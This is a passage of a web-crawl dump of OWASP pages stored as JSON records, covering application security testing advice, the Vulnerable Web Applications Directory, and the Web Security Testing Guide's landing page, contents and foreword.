everywhere it is supposed to be. The goal of application security testing is to provide this evidence. The work is difficult and complex, and modern high-speed development processes like Agile and DevOps have put extreme pressure on traditional approaches and tools. So we strongly encourage you to put some thought into how you are going to focus on what’s important across your entire application portfolio, and do it cost-effectively.\n\nModern risks move quickly, so the days of scanning or penetration testing an application for vulnerabilities once every year or so are long gone. Modern software development requires continuous application security testing across the entire software development lifecycle. Look to enhance existing development pipelines with security automation that doesn’t slow development. Whatever approach you choose, consider the annual cost to test, triage, remediate, retest, and redeploy a single application, multiplied by the size of your application portfolio.\n \n ****Understand the Threat Model:**** Before you start testing, be sure you understand what’s important to spend time on. Priorities come from the threat model, so if you don’t have one, you need to create one before testing. Consider using [OWASP ASVS](/www-project-application-security-verification-standard) and the [OWASP Web Security Testing Guide](https://owasp.org/www-project-web-security-testing-guide/) as an input and don’t rely on tool vendors to decide what’s important for your business. ****Understand Your SDLC:**** Your approach to application security testing must be highly compatible with the people, processes, and tools you use in your software development lifecycle (SDLC). Attempts to force extra steps, gates, and reviews are likely to cause friction, get bypassed, and struggle to scale. Look for natural opportunities to gather security information and feed it back into your process. ****Testing Strategies:**** Choose the simplest, fastest, most accurate technique to verify each requirement. The [OWASP Security Knowledge Framework](/www-project-security-knowledge-framework) and [OWASP Application Security Verification Standard](/www-project-application-security-verification-standard) can be great sources of functional and nonfunctional security requirements in your unit and integration testing. Be sure to consider the human resources required to deal with false positives from the use of automated tooling as well as the serious dangers of false negatives. ****Achieving Coverage and Accuracy:**** You don’t have to start out testing everything. Focus on what’s important and expand your verification program over time. That means expanding the set of security defenses and risks that are being automatically verified as well as expanding the set of applications and APIs being covered. The goal is to achieve a state where the essential security of all your applications and APIs is verified continuously. ****Clearly Communicate Findings:**** No matter how good you are at testing, it won’t make any difference unless you communicate it effectively. Build trust by showing you understand how the application works. Describe clearly how it can be abused without “lingo” and include an attack scenario to make it real. Make a realistic estimation of how hard the vulnerability is to discover and exploit, and how bad that would be. Finally, deliver findings in the tools development teams are already using, not PDF files. |\n| --- |\n\n---", "znaku_textu": 3778, "slov": 557, "odkazu": 30, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:55:28", "sha256": "2284b14b95c829d4ae781d5d7e930f05474ffcd12a69a988aff6c4bd169755dd", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/Top10/raw/master/2017/OWASP%20Top%2010-2017%20(en).pdf", "https://owasp.github.io/www-project-top-ten", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL"]} {"url": "https://owasp.org/www-project-top-ten/2017/de/", "titulek": "Redirecting…", "h1": "Redirecting…", "popis": "", "klicova_slova": "", "kanonicka": "https://owasp.github.io/www-project-top-ten/2017/de/", "jazyk": "en-US", "robots_meta": "noindex", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Redirecting…"}], "markdown": "Redirecting… Redirecting… [Click here if you are not redirected.](https://owasp.github.io/www-project-top-ten/2017/de/)", "znaku_textu": 119, "slov": 12, "odkazu": 1, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:19:10", "sha256": "84207c910003817715c4af2e9b29393b9be994656fb1f8c602565896867c56a7", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.github.io/www-project-top-ten/2017/de/"]} {"url": "https://owasp.org/www-project-vulnerable-web-applications-directory", "titulek": "OWASP Vulnerable Web Applications Directory | OWASP Foundation", "h1": "OWASP Vulnerable Web Applications Directory", "popis": "The OWASP Vulnerable Web Applications Directory Project (VWAD) is a comprehensive and well maintained registry of all known vulnerable web applications currently available for legal security and vulnerability testing of various kinds.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-vulnerable-web-applications-directory/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "The OWASP Vulnerable Web Applications Directory Project (VWAD) is a comprehensive and well maintained registry of all known vulnerable web applications currently available for legal security and vulnerability testing of various kinds.", "og:title": "OWASP Vulnerable Web Applications Directory | OWASP Foundation", "og:url": "https://owasp.org/www-project-vulnerable-web-applications-directory/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP Vulnerable Web Applications Directory"}, {"uroven": 2, "text": "On-line Resources Used"}, {"uroven": 2, "text": "Other Vulnerable Web-app Compilations"}], "markdown": "# OWASP Vulnerable Web Applications Directory\n\n**Author(s):** psiinon, kingthorin, raulsiles \n **Contributor(s):** bkimminich, S3DFX-CYBER, yrprey, arthurakay, HarshitVerma109, ritorhymes, commjoen, hblankenship, noraj, preetkaran20, codeXanu, ebell451, PauloASilva, Aif4thah, AlexandraC0, alexcolb, Commando-X, dhower7, drfoofoo, interference-security, kOaDT, LBartolini, mal-tee, markdenihan, mike386, mrtlgz, msudol, nbaars, njmulsqb, OSTEsayed, pentesttools-com, rcowsill, roottusk, sadicann, SamanthaGroves, snoopysecurity, subhashdasyam, yjaaidi\n\nPlease join us at our new home: [https://vwad.owasp.org](https://vwad.owasp.org)\n\n---\n\n## On-line Resources Used\n\n- [Vulnerable Web Applications for learning](http://securitythoughts.wordpress.com/2010/03/22/vulnerable-web-applications-for-learning/)\n- [OWASP BWA User Guide](http://code.google.com/p/owaspbwa/wiki/UserGuide)\n\n## Other Vulnerable Web-app Compilations\n\n- [Penetration Testing Practice Labs - Vulnerable Apps/Systems](http://www.amanhardikar.com/mindmaps/Practice.html)\n\n---\n\n[Watch](https://github.com/OWASP/OWASP-VWAD/subscription) [Star](https://github.com/OWASP/OWASP-VWAD)", "znaku_textu": 1114, "slov": 93, "odkazu": 33, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 22:14:25", "sha256": "02a2b9fae5d209e07aca9680a8d7576194b6ea0a4ebb6648b697d5ec05a21eff", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://vwad.owasp.org/", "http://securitythoughts.wordpress.com/2010/03/22/vulnerable-web-applications-for-learning/", "http://code.google.com/p/owaspbwa/wiki/UserGuide", "http://www.amanhardikar.com/mindmaps/Practice.html", "https://github.com/OWASP/OWASP-VWAD/subscription", "https://github.com/OWASP/OWASP-VWAD", "https://github.com/owasp-vwad/owasp-vwad.github.io/", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-vulnerable-web-applications-directory/", "titulek": "OWASP Vulnerable Web Applications Directory | OWASP Foundation", "h1": "OWASP Vulnerable Web Applications Directory", "popis": "The OWASP Vulnerable Web Applications Directory Project (VWAD) is a comprehensive and well maintained registry of all known vulnerable web applications currently available for legal security and vulnerability testing of various kinds.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-vulnerable-web-applications-directory/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "The OWASP Vulnerable Web Applications Directory Project (VWAD) is a comprehensive and well maintained registry of all known vulnerable web applications currently available for legal security and vulnerability testing of various kinds.", "og:title": "OWASP Vulnerable Web Applications Directory | OWASP Foundation", "og:url": "https://owasp.org/www-project-vulnerable-web-applications-directory/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP Vulnerable Web Applications Directory"}, {"uroven": 2, "text": "On-line Resources Used"}, {"uroven": 2, "text": "Other Vulnerable Web-app Compilations"}], "markdown": "# OWASP Vulnerable Web Applications Directory\n\n**Author(s):** psiinon, kingthorin, raulsiles \n **Contributor(s):** bkimminich, S3DFX-CYBER, yrprey, arthurakay, HarshitVerma109, ritorhymes, commjoen, hblankenship, noraj, preetkaran20, codeXanu, ebell451, PauloASilva, Aif4thah, AlexandraC0, alexcolb, Commando-X, dhower7, drfoofoo, interference-security, kOaDT, LBartolini, mal-tee, markdenihan, mike386, mrtlgz, msudol, nbaars, njmulsqb, OSTEsayed, pentesttools-com, rcowsill, roottusk, sadicann, SamanthaGroves, snoopysecurity, subhashdasyam, yjaaidi\n\nPlease join us at our new home: [https://vwad.owasp.org](https://vwad.owasp.org)\n\n---\n\n## On-line Resources Used\n\n- [Vulnerable Web Applications for learning](http://securitythoughts.wordpress.com/2010/03/22/vulnerable-web-applications-for-learning/)\n- [OWASP BWA User Guide](http://code.google.com/p/owaspbwa/wiki/UserGuide)\n\n## Other Vulnerable Web-app Compilations\n\n- [Penetration Testing Practice Labs - Vulnerable Apps/Systems](http://www.amanhardikar.com/mindmaps/Practice.html)\n\n---\n\n[Watch](https://github.com/OWASP/OWASP-VWAD/subscription) [Star](https://github.com/OWASP/OWASP-VWAD)", "znaku_textu": 1114, "slov": 93, "odkazu": 33, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "https://owasp.org/www-project-vulnerable-web-applications-directory", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:38:30", "sha256": "02a2b9fae5d209e07aca9680a8d7576194b6ea0a4ebb6648b697d5ec05a21eff", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://vwad.owasp.org/", "http://securitythoughts.wordpress.com/2010/03/22/vulnerable-web-applications-for-learning/", "http://code.google.com/p/owaspbwa/wiki/UserGuide", "http://www.amanhardikar.com/mindmaps/Practice.html", "https://github.com/OWASP/OWASP-VWAD/subscription", "https://github.com/OWASP/OWASP-VWAD", "https://github.com/owasp-vwad/owasp-vwad.github.io/", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/", "titulek": "OWASP Web Security Testing Guide | OWASP Foundation", "h1": "OWASP Web Security Testing Guide", "popis": "The Web Security Testing Guide (WSTG) Project produces the premier cybersecurity testing resource for web application developers and security professionals.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "The Web Security Testing Guide (WSTG) Project produces the premier cybersecurity testing resource for web application developers and security professionals.", "og:title": "OWASP Web Security Testing Guide | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP Web Security Testing Guide"}, {"uroven": 2, "text": "Contributions"}, {"uroven": 2, "text": "Stable"}, {"uroven": 2, "text": "Latest"}, {"uroven": 2, "text": "Versioned Releases"}, {"uroven": 2, "text": "How To Reference WSTG Scenarios"}, {"uroven": 3, "text": "Linking"}, {"uroven": 2, "text": "Stable"}, {"uroven": 2, "text": "[Unreleased 4.3]"}, {"uroven": 2, "text": "[Version 4.2] - 2020-12-03"}, {"uroven": 2, "text": "[Version 4.1] - 2020-04-21"}, {"uroven": 2, "text": "[Version 4.0] - 2014-09-17"}, {"uroven": 2, "text": "[Version 3.0] - 2008-12-16"}, {"uroven": 3, "text": "[Pre-release 3.0] - 2008-11-06"}, {"uroven": 2, "text": "[Version 2.0] - 2007-02-10"}, {"uroven": 2, "text": "[Version 1.1] - 2004-08-14"}, {"uroven": 2, "text": "[Version 1.0] - 2004-12-10"}, {"uroven": 2, "text": "Archives"}, {"uroven": 2, "text": "How can I help?"}, {"uroven": 2, "text": "How can I contact you?"}], "markdown": "# OWASP Web Security Testing Guide\n\nThe Web Security Testing Guide (WSTG) Project produces the premier cybersecurity testing resource for web application developers and security professionals.\n\nThe WSTG is a comprehensive guide to testing the security of web applications and web services. Created by the collaborative efforts of cybersecurity professionals and dedicated volunteers, the WSTG provides a framework of best practices used by penetration testers and organizations all over the world.\n\n## Contributions\n\nAny contributions to the guide itself should be made via the [guide’s project repo](https://github.com/OWASP/wstg).\n\nContributions should only be made in the proper repo against the latest content. Please don’t open PRs here for versioned or stable content, they represent point-in-time state.\n\n## Stable\n\nView the always-current stable version at [stable](stable/).\n\n## Latest\n\nWe are currently developing release version 5.0.\n\nYou can [read the latest development documents in our official GitHub repository](https://github.com/OWASP/wstg/tree/master/document) or view the bleeding-edge content at [latest](latest/).\n\n## Versioned Releases\n\n[v4.2](v42/) is currently available as a web-hosted release and PDF. Previous releases are available as PDFs and in some cases web content via the **Release Versions** tab.\n\n## How To Reference WSTG Scenarios\n\nEach scenario has an identifier in the format `WSTG--`, where: ‘category’ is a 4 character upper case string that identifies the type of test or weakness, and ‘number’ is a zero-padded numeric value from 01 to 99. For example:`WSTG-INFO-02` is the second Information Gathering test.\n\nThe identifiers may change between versions therefore it is preferable that other documents, reports, or tools use the format: `WSTG---`, where: ‘version’ is the version tag with punctuation removed. For example: `WSTG-v41-INFO-02` would be understood to mean specifically the second Information Gathering test from version 4.1.\n\nIf identifiers are used without including the `` element then they should be assumed to refer to the latest Web Security Testing Guide content. Obviously as the guide grows and changes this becomes problematic, which is why writers or developers should include the version element.\n\n### Linking\n\nLinking to Web Security Testing Guide scenarios should be done using versioned links not `stable` or `latest` which will definitely change with time. However, it is the project team’s intention that versioned links not change. For example: `https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/02-Fingerprint_Web_Server`. Note: the `v42` element refers to version 4.2.\n\n---\n\n## Stable\n\nView the always-current stable version at [stable](stable/).\n\n## [Unreleased 4.3]\n\n## [Version 4.2] - 2020-12-03\n\n[Version 4.2](v42/) introduces new testing scenarios, updates existing chapters, and offers an improved writing style and chapter layout.\n\n[Download the v4.2 PDF](https://github.com/OWASP/wstg/releases/download/v4.2/wstg-v4.2.pdf) here.\n\n## [Version 4.1] - 2020-04-21\n\n[Version 4.1](v41/) serves as a post-migration stable version under the new GitHub repository workflow.\n\n[Download the v4.1 PDF](https://github.com/OWASP/wstg/releases/download/v4.1/wstg-v4.1.pdf) here.\n\n## [Version 4.0] - 2014-09-17\n\n[Download the v4 PDF](assets/archive/OWASP_Testing_Guide_v4.pdf) here.\n\nA printed book is also made [available for purchase](https://www.lulu.com/shop/matteo-meucci-and-andrew-muller/testing-guide-40-release/paperback/product-22294314.html).\n\n## [Version 3.0] - 2008-12-16\n\n[Download the v3 PDF](assets/archive/OWASP_Testing_Guide_v3.pdf) here.\n\n### [Pre-release 3.0] - 2008-11-06\n\n[View a presentation (PPT)](assets/archive/OWASP_EU_Summit_2008_OWASP_Testing_Guide_v3.ppt) previewing the release at the OWASP EU Summit 2008 in Portugal.\n\n## [Version 2.0] - 2007-02-10\n\n[Download the v2 PDF](assets/archive/OWASP_Testing_Guide_v2.pdf) here.\n\nThe guide is also available in [Word Document format in English (ZIP)](assets/archive/OWASP_Testing_Guide_v2_doc.zip) as well as [Word Document format translation in Spanish (ZIP)](assets/archive/OWASP_Testing_Guide_v2_spanish_doc.zip).\n\n## [Version 1.1] - 2004-08-14\n\nVersion 1.1 is released as the *OWASP Web Application Penetration Checklist*.\n\n[Download the v1.1 PDF](assets/archive/OWASP_Web_Application_Penetration_Checklist_v1_1.pdf) here.\n\n## [Version 1.0] - 2004-12-10\n\n[Download the v1 PDF](assets/archive/OWASP_Testing_Guide_v1.pdf) here.\n\n## Archives\n\nHistorical [archives of the Mailman owasp-testing mailing list](https://lists.owasp.org/pipermail/owasp-testing/index) are available to view or download.\n\n---\n\n## How can I help?\n\nWe are actively inviting new contributors to help keep the WSTG up to date! You can get started at [our official GitHub repository](https://github.com/OWASP/wstg).\n\n## How can I contact you?\n\nTo report issues or make suggestions for the WSTG, please use [GitHub Issues](https://github.com/OWASP/wstg/issues).\n\nFor everything else, we’re easy to find on Slack:\n\n1. Join the OWASP Group Slack with this [invitation link](https://owasp-slack.herokuapp.com/) .\n2. Join this project’s [channel, #testing-guide](https://app.slack.com/client/T04T40NHX/CJ2QDHLRJ) .\n\nYou can @ us on Twitter [@owasp_wstg](https://twitter.com/owasp_wstg).\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 5372, "slov": 680, "odkazu": 55, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:16:29", "sha256": "1465ecb725c82b3db430a08c4b2641246a13cf70d8661319e74ce1a43e461292", "hloubka": 0, "zdroj_objevu": "seed", "ze_seznamu": true, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://creativecommons.org/licenses/by-sa/4.0/", "https://github.com/OWASP/wstg/", "https://twitter.com/owasp_wstg", "https://github.com/OWASP/wstg", "https://github.com/OWASP/wstg/tree/master/document", "https://github.com/OWASP/wstg/releases/download/v4.2/wstg-v4.2.pdf", "https://github.com/OWASP/wstg/releases/download/v4.1/wstg-v4.1.pdf", "https://www.lulu.com/shop/matteo-meucci-and-andrew-muller/testing-guide-40-release/paperback/product-22294314.html", "https://lists.owasp.org/pipermail/owasp-testing/index", "https://github.com/OWASP/wstg/issues", "https://owasp-slack.herokuapp.com/", "https://app.slack.com/client/T04T40NHX/CJ2QDHLRJ", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg/blob/master/CODE_OF_CONDUCT.md", "https://github.com/OWASP/wstg/blob/master/CONTRIBUTING.md", "https://bsky.app/profile/owasp-wstg.bsky.social", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/assets/archive/OWASP_Testing_Guide_v1.pdf", "titulek": "", "h1": "", "popis": "", "klicova_slova": "", "kanonicka": "", "jazyk": "", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [], "markdown": "", "znaku_textu": 0, "slov": 0, "odkazu": 0, "kodovani": "", "kodovani_deklarovane": null, "format": "pdf", "bajtu": 605446, "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:08:29", "sha256": "4b196e3b614fe96c15331414afe17d5b653354e3341ba95eaa78bf617337ade9", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "application/pdf", "odkazy_externi": []} {"url": "https://owasp.org/www-project-web-security-testing-guide/assets/archive/OWASP_Testing_Guide_v2.pdf", "titulek": "", "h1": "", "popis": "", "klicova_slova": "", "kanonicka": "", "jazyk": "", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [], "markdown": "", "znaku_textu": 0, "slov": 0, "odkazu": 0, "kodovani": "", "kodovani_deklarovane": null, "format": "pdf", "bajtu": 5702135, "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:08:26", "sha256": "e0edb205115ab33b07a27739f51a8ca1a2c79a6341bc4edf2696376c6b876416", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "application/pdf", "odkazy_externi": []} {"url": "https://owasp.org/www-project-web-security-testing-guide/assets/archive/OWASP_Testing_Guide_v3.pdf", "titulek": "", "h1": "", "popis": "", "klicova_slova": "", "kanonicka": "", "jazyk": "", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [], "markdown": "", "znaku_textu": 0, "slov": 0, "odkazu": 0, "kodovani": "", "kodovani_deklarovane": null, "format": "pdf", "bajtu": 5000750, "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:08:23", "sha256": "c662a621aac6da1c15cb6e1a2cb021897ffdb0a1b2128b1a572139f7cfa35eb6", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "application/pdf", "odkazy_externi": []} {"url": "https://owasp.org/www-project-web-security-testing-guide/assets/archive/OWASP_Testing_Guide_v4.pdf", "titulek": "", "h1": "", "popis": "", "klicova_slova": "", "kanonicka": "", "jazyk": "", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [], "markdown": "", "znaku_textu": 0, "slov": 0, "odkazu": 0, "kodovani": "", "kodovani_deklarovane": null, "format": "pdf", "bajtu": 2181680, "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:08:20", "sha256": "f85a2a25c5a9c288776165dc9e82c0d740dfd476fa2f7f26cb2bcb9210294577", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "application/pdf", "odkazy_externi": []} {"url": "https://owasp.org/www-project-web-security-testing-guide/assets/archive/OWASP_Web_Application_Penetration_Checklist_v1_1.pdf", "titulek": "", "h1": "", "popis": "", "klicova_slova": "", "kanonicka": "", "jazyk": "", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [], "markdown": "", "znaku_textu": 0, "slov": 0, "odkazu": 0, "kodovani": "", "kodovani_deklarovane": null, "format": "pdf", "bajtu": 256267, "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:08:27", "sha256": "44ffc667acb1cf03dc7daf9e54e53ce8ded58ffb645df24ce68348b4fbab7f0f", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "application/pdf", "odkazy_externi": []} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Contents"}, {"uroven": 2, "text": "0. Foreword"}, {"uroven": 2, "text": "1. About"}, {"uroven": 2, "text": "2. Introduction"}, {"uroven": 2, "text": "3. The OWASP Testing Framework"}, {"uroven": 2, "text": "4. Web Application Security Testing"}, {"uroven": 2, "text": "5. Reporting"}, {"uroven": 2, "text": "Appendix A. History"}, {"uroven": 2, "text": "Appendix B. Testing Tools Resource"}, {"uroven": 2, "text": "Appendix C. Suggested Reading"}, {"uroven": 2, "text": "Appendix D. Fuzzing"}, {"uroven": 2, "text": "Appendix E. Encoded Injection"}, {"uroven": 2, "text": "Appendix F. Leveraging Dev Tools"}], "markdown": "# WSTG - Latest\n\n# Contents\n\nUse the **WSTG Contents** menu on the right to browse sections and tests. Chapter landing pages are linked below.\n\n## [0. Foreword](/www-project-web-security-testing-guide/latest/0-Foreword/README)\n\n## [1. About](1-About/)\n\n## [2. Introduction](2-Introduction/)\n\n## [3. The OWASP Testing Framework](3-The_OWASP_Testing_Framework/)\n\n## [4. Web Application Security Testing](4-Web_Application_Security_Testing/)\n\n## [5. Reporting](/www-project-web-security-testing-guide/latest/5-Reporting/README)\n\n## [Appendix A. History](/www-project-web-security-testing-guide/latest/6-Appendix/A-History)\n\n## [Appendix B. Testing Tools Resource](/www-project-web-security-testing-guide/latest/6-Appendix/B-Testing_Tools_Resource)\n\n## [Appendix C. Suggested Reading](/www-project-web-security-testing-guide/latest/6-Appendix/C-Suggested_Reading)\n\n## [Appendix D. Fuzzing](/www-project-web-security-testing-guide/latest/6-Appendix/D-Fuzzing)\n\n## [Appendix E. Encoded Injection](/www-project-web-security-testing-guide/latest/6-Appendix/E-Encoded_Injection)\n\n## [Appendix F. Leveraging Dev Tools](/www-project-web-security-testing-guide/latest/6-Appendix/F-Leveraging_Dev_Tools)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 1235, "slov": 124, "odkazu": 201, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:08:15", "sha256": "98474f18d77312288f33e72ac56848dd9617f2d4337395b72ad1aec870a3ac7a", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/0-Foreword/README", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/0-Foreword/README", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/0-Foreword/README", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "0-Foreword"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "0. Foreword"}, {"uroven": 2, "text": "Why OWASP?"}, {"uroven": 2, "text": "Tailoring and Prioritizing"}, {"uroven": 2, "text": "The Role of Automated Tools"}, {"uroven": 2, "text": "Call to Action"}], "markdown": "# WSTG - Latest\n\n# 0. Foreword\n\n*To be confirmed.*\n\n## Why OWASP?\n\nThe Open Worldwide Application Security Project® (OWASP®) is a nonprofit foundation whose vision is no more insecure software. Its mission is to be the global open community that powers secure software through education, tools, and collaboration.\n\nCreating a guide like this takes expertise from hundreds of people around the world. There are many ways to test for security flaws, and this guide attempts to capture consensus on how to perform that testing quickly, accurately, and efficiently. OWASP brings practitioners together to form a leading-practice approach to software security problems, as a vendor-neutral community rather than a commercial vendor or regulator.\n\nMaking this guide completely free and open supports that mission. Anyone can learn the techniques used to test for common security issues. Security should not be a black art or closed secret. It should be open to security practitioners, and also to developers, QA, and technical managers. This project keeps that expertise in the hands of the people who build and ship software.\n\nThis guide must reach developers and software testers. There are not nearly enough application security specialists to solve the problem alone. Much of the responsibility for application security falls on developers, because they write the code. Developers cannot be expected to produce secure software if they never test for the classes of bugs that introduce vulnerability.\n\nKeeping this information current is critical. The OWASP community maintains and expands this guide through [GitHub](https://github.com/OWASP/wstg/) Issues and Pull Requests so it can keep pace with the application security threat landscape.\n\nThis guide is a testament to the passion and energy of OWASP members and project volunteers. It helps change the world a line of code at a time.\n\n## Tailoring and Prioritizing\n\nAdopt this guide in your organization. Tailor the material to match your technologies, processes, and structure.\n\nSeveral roles commonly use this guide:\n\n- Developers should use this guide to help produce secure code. These tests should be part of normal code and unit testing procedures.\n- Software testers and QA should use this guide to expand the test cases they apply. Catching these vulnerabilities early saves considerable time, effort, and money later.\n- Security specialists should use this guide with other techniques to verify that security issues have not been missed.\n- Project Managers should treat security issues as bugs in code and design, and plan accordingly.\n\nWhen performing security testing, continuously re-prioritize. There are infinite ways an application could fail, and organizations always have limited testing time and resources. Spend that time on security issues that present real risk to the business. Contextualize risk in terms of the application and its use cases.\n\nView this guide as a set of techniques for finding different types of security issues. Not all techniques are equally important for every system. Avoid treating the guide as a checklist. New vulnerabilities continue to appear, and no guide can be an exhaustive list of things to test for. Use it as a strong place to start.\n\n## The Role of Automated Tools\n\nAutomated security tools such as dynamic application security testing (DAST), static application security testing (SAST), and software composition analysis (SCA) help scale testing and find many classes of issues. Use them for what they do well: breadth of coverage, repeatable checks, and enforcing baseline policy. Open tools in the ecosystem, including [ZAP](https://www.zaproxy.org/), can support that work without locking teams into a single vendor.\n\nThese tools are still generic. They are built for applications in general, not for your custom code and business rules. They can find many common problems, but they often lack the application-specific context needed to detect deeper flaws. The most serious issues are frequently intertwined with business logic and custom design, which is where the techniques in this guide matter most.\n\nRunning a tool is usually fast. Investigating and verifying each finding takes time. If the goal is to find and eliminate the most serious flaws as quickly as possible, balance automated scanning with the manual and semi-automated techniques described here. Well-balanced application security programs use both: tools for breadth, and this guide for depth and judgment.\n\n## Call to Action\n\nIf you build, design, or test software, get familiar with the security testing guidance in this document. It is a road map for testing many of the issues applications face today, but it is not exhaustive. If 